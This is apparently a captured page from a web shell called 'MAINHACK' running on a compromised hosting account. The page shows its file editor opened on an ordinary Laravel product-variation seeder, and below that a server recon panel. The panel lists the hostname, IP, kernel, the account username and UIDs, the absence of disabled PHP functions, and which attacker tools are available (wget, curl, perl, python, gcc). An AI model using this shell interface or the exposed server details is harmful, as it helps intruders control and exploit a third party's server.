[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ProductVariationTableSeeder.php
<?php namespace Database\Seeders; use App\Models\Product; use Illuminate\Database\Seeder; use App\Models\ProductVariation; use Dipokhalder\EnvEditor\EnvEditor; use Picqer\Barcode\BarcodeGeneratorJPG; class ProductVariationTableSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public array $fashionVariations = [ [ 'product_attribute_id' => 1, 'product_attribute_option_id' => 1, 'children' => [ [ 'product_attribute_id' => 2, 'product_attribute_option_id' => 6 ], [ 'product_attribute_id' => 2, 'product_attribute_option_id' => 7 ], [ 'product_attribute_id' => 2, 'product_attribute_option_id' => 8 ] ] ], [ 'product_attribute_id' => 1, 'product_attribute_option_id' => 2, 'children' => [ [ 'product_attribute_id' => 2, 'product_attribute_option_id' => 6 ], [ 'product_attribute_id' => 2, 'product_attribute_option_id' => 7 ], [ 'product_attribute_id' => 2, 'product_attribute_option_id' => 8 ] ] ] ]; public function run(): void { $envService = new EnvEditor(); if ($envService->getValue('DEMO') && $envService->getValue('DISPLAY_TYPE') == 'fashion') { $products = Product::select('id', 'variation_price')->get(); foreach ($products as $product) { foreach ($this->fashionVariations as $fashionVariation) { $parent = ProductVariation::create([ 'product_id' => $product->id, 'product_attribute_id' => $fashionVariation['product_attribute_id'], 'product_attribute_option_id' => $fashionVariation['product_attribute_option_id'], 'price' => $product->variation_price, 'sku' => null, 'parent_id' => null ]); if (isset($fashionVariation['children'])) { foreach ($fashionVariation['children'] as $childVariation) { $sku = rand(100, 999) . date('is'); $productVariation = ProductVariation::create([ 'product_id' => $product->id, 'product_attribute_id' => $childVariation['product_attribute_id'], 'product_attribute_option_id' => $childVariation['product_attribute_option_id'], 'price' => $product->variation_price, 'sku' => $sku, 'parent_id' => $parent->id ]); $generator = new BarcodeGeneratorJPG(); $barcode_value = str_pad($sku, 12, '0', STR_PAD_LEFT); $barcode = $generator->getBarcode($barcode_value, $generator::TYPE_EAN_13); $tempFilePath = storage_path('app/public/barcode.jpg'); file_put_contents($tempFilePath, $barcode); $productVariation->addMedia($tempFilePath)->toMediaCollection('product-variation-barcode'); } } } } } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.87 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285